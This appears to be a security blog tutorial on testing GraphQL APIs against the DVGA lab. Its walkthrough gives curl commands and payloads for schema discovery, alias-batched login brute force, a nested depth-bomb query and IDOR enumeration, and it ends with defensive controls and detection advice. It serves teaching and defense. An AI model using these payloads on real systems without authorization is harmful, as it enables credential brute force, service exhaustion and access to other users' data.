GraphQL API Security Testing: Advanced Offensive and Defensive Techniques

Web Exploitation
Time it takes to read this article 6 minutes.

Disclaimer: This article is for educational purposes and authorized security testing only. Run these techniques only against systems you own or have explicit written permission to test. Unauthorized testing is illegal in most jurisdictions.

Introduction / Overview

GraphQL has become the default API layer for many mobile and single-page applications. Unlike REST, a single endpoint (commonly /graphql, /api/graphql, or /v1/graphql) exposes the entire data graph, which both simplifies development and concentrates risk. The same flexibility that lets a client request exactly the fields it needs also lets an attacker enumerate the schema, abuse query nesting, and pivot through object references.

This post focuses on the advanced workflow: schema discovery via introspection, abuse of batching, bypassing or stress-testing depth limit controls, hunting IDOR (Insecure Direct Object Reference), and automating recon with graphql-cop. We finish with a Blue Team section weighted equally to the offensive content, because most of these issues are configuration problems, not zero-days.

How it works / Background

A GraphQL server resolves a query tree against resolver functions. Three properties make it a distinct attack surface:

  1. Introspection — GraphQL ships a meta-query system (__schema, __type) that returns the full type system. If enabled in production, it hands the attacker a complete map of types, fields, mutations, and arguments.
  2. No native rate semantics — one HTTP request can contain arbitrarily nested or aliased operations, so a single request can trigger thousands of resolver calls.
  3. Object references everywhere — resolvers frequently take an id argument and fetch the object without re-checking the caller's authorization, which is the textbook precondition for IDOR.

These map to MITRE ATT&CK techniques such as T1190 (Exploit Public-Facing Application) and T1213 (Data from Information Repositories).

Prerequisites / Lab setup

Use a deliberately vulnerable target. Damn Vulnerable GraphQL Application (DVGA) is the standard lab.

# Spin up DVGA locally (authorized lab only)
docker pull dolevf/dvga
docker run -t --rm -p 5013:5013 -e WEB_HOST=0.0.0.0 dolevf/dvga
# DVGA is now on http://localhost:5013/graphql
Bash

Tooling you will want on the box:

# graphql-cop: fast security auditor
pipx install graphql-cop

# clairvoyance: rebuild a schema even when introspection is disabled
pipx install clairvoyance

# InQL standalone CLI (also a Burp extension)
pipx install inql
Bash

A proxy such as Burp Suite or mitmproxy is useful to capture the real queries a mobile app sends; pull the endpoint and auth headers out of the app traffic first.

Walkthrough / PoC

1. Introspection

The first move is always introspection. If it is enabled, you get the schema for free:

curl -s -X POST http://localhost:5013/graphql \
  -H 'Content-Type: application/json' \
  -d '{"query":"query{__schema{types{name fields{name}}}}"}' | jq .
Bash

To pull a full, tooling-friendly schema, use a complete introspection query or let InQL generate it:

inql -t http://localhost:5013/graphql -o dvga_schema
Bash

If introspection returns errors like "GraphQL introspection is not allowed", do not give up — reconstruct the schema by brute-forcing field names with clairvoyance and a wordlist:

clairvoyance http://localhost:5013/graphql \
  -w /usr/share/seclists/Discovery/Web-Content/graphql.txt \
  -o recovered_schema.json
Bash

Error messages often leak field suggestions ("Did you mean email?"), which clairvoyance exploits to rebuild the type system without introspection.

2. Batching for brute force and DoS

GraphQL supports two batching styles. Array batching sends multiple operations in one HTTP request; alias batching runs the same field many times within one operation. Both defeat naive per-request rate limiting and are powerful for credential or OTP brute force:

# Alias-based batching: 100 login attempts in ONE request
curl -s -X POST http://localhost:5013/graphql \
  -H 'Content-Type: application/json' \
  -d '{"query":"mutation{ a1:login(username:\"admin\",password:\"p1\"){token} a2:login(username:\"admin\",password:\"p2\"){token} }"}'
Bash

Array batching looks like this:

[
  {"query":"query{ systemHealth }"},
  {"query":"query{ systemHealth }"},
  {"query":"query{ systemHealth }"}
]
JSON

If the server processes each element with no global limit, you have a rate-limit bypass and a potential amplification vector.

3. Depth limit and query cost

Deeply nested queries over cyclic relationships (for example Author -> posts -> author -> posts ...) can explode resolver work. Test whether a depth limit is enforced:

query DepthBomb {
  pastes {
    owner {
      pastes {
        owner {
          pastes {
            owner { name }
          }
        }
      }
    }
  }
}
GraphQL

If this returns data instead of a Query depth limit of N exceeded error, the server is missing depth and cost controls and is vulnerable to resource-exhaustion DoS.

4. IDOR

With the schema mapped, look for queries and mutations that accept an id (or uuid, pasteId, userId). Authenticate as a low-privilege user and request objects you should not own:

curl -s -X POST http://localhost:5013/graphql \
  -H 'Content-Type: application/json' \
  -H 'Authorization: Bearer <low-priv-token>' \
  -d '{"query":"query{ paste(id: 1){ id title content owner{ name } } }"}'
Bash

Iterate the id value. If you can read another user's private paste, that is a confirmed IDOR. Mutations are higher impact — try editPaste(id: X, ...) or deletePaste(id: X) against objects belonging to other users. The same pattern appears in mobile backends, which is why I cover related capture workflows in Mobile API traffic interception and token handling in JWT attacks in practice.

5. Automate with graphql-cop

graphql-cop runs a battery of these checks (introspection, batching, field suggestions, depth, CSRF, alias overloading) and outputs a concise report:

graphql-cop -t http://localhost:5013/graphql -o table
# JSON for pipelines / CI
graphql-cop -t http://localhost:5013/graphql -o json | jq .
Bash

Use this as a fast triage pass, then verify each finding manually before reporting it.

Mermaid diagram

GraphQL API Security Testing: Advanced Offensive and Defensive Techniques diagram 1

The diagram shows the decision flow from endpoint discovery through schema recovery to IDOR and batching/depth testing.

Detection & Defense (Blue Team)

Defenses matter as much as the attacks above. Apply these controls:

  • Disable introspection in production. In Apollo Server set introspection: false; in graphene/Python remove the introspection middleware or block __schema/__type at the gateway. Keep it on only in staging.
  • Enforce a depth limit and query cost analysis. Use libraries such as graphql-depth-limit, graphql-cost-analysis, or graphql-query-complexity (Node), or graphene validation rules (Python). Reject queries past a sane depth (e.g. 7-10) and a cost budget.
  • Constrain batching. Cap array-batch size, or disable batching entirely if you do not need it. Apply rate limiting at the operation level, not just per HTTP request, so alias batching cannot bypass it.
  • Disable field suggestions ("Did you mean …") in production to blunt clairvoyance-style schema recovery.
  • Fix IDOR with authorization-in-resolver. Every resolver that fetches an object by id must re-check that the authenticated principal owns or may access it. Centralize this with field-level auth (e.g. graphql-shield) rather than trusting the client.
  • Persisted queries / allowlists. Accept only pre-registered query hashes (Apollo Automatic Persisted Queries with an allowlist) so arbitrary attacker-crafted queries are rejected outright.
  • Monitoring & detection. Log operation names, depth, and alias counts. Alert on introspection queries hitting production, on requests with unusually high alias/batch counts, and on rapid sequential id enumeration. These map to ATT&CK T1190 and T1213; feed the signals into your SIEM.

A quick way to confirm your hardening is to re-run graphql-cop against staging and production and diff the results — production should report introspection, batching, and field suggestions as disabled.

Conclusion

GraphQL security testing rewards a methodical approach: recover the schema (introspection or clairvoyance), then exploit the structural weaknesses — batching, missing depth limits, and IDOR. Almost every finding traces back to a missing control that defenders can add cheaply: disable introspection, cap depth and batch size, and enforce authorization inside resolvers. Test offensively, then verify each control is actually present in production. For broader API recon methodology see API enumeration techniques.

References

You Might Also Like

If you found this useful, these related deep-dives cover adjacent techniques and their defenses:

Comments

Copied title and URL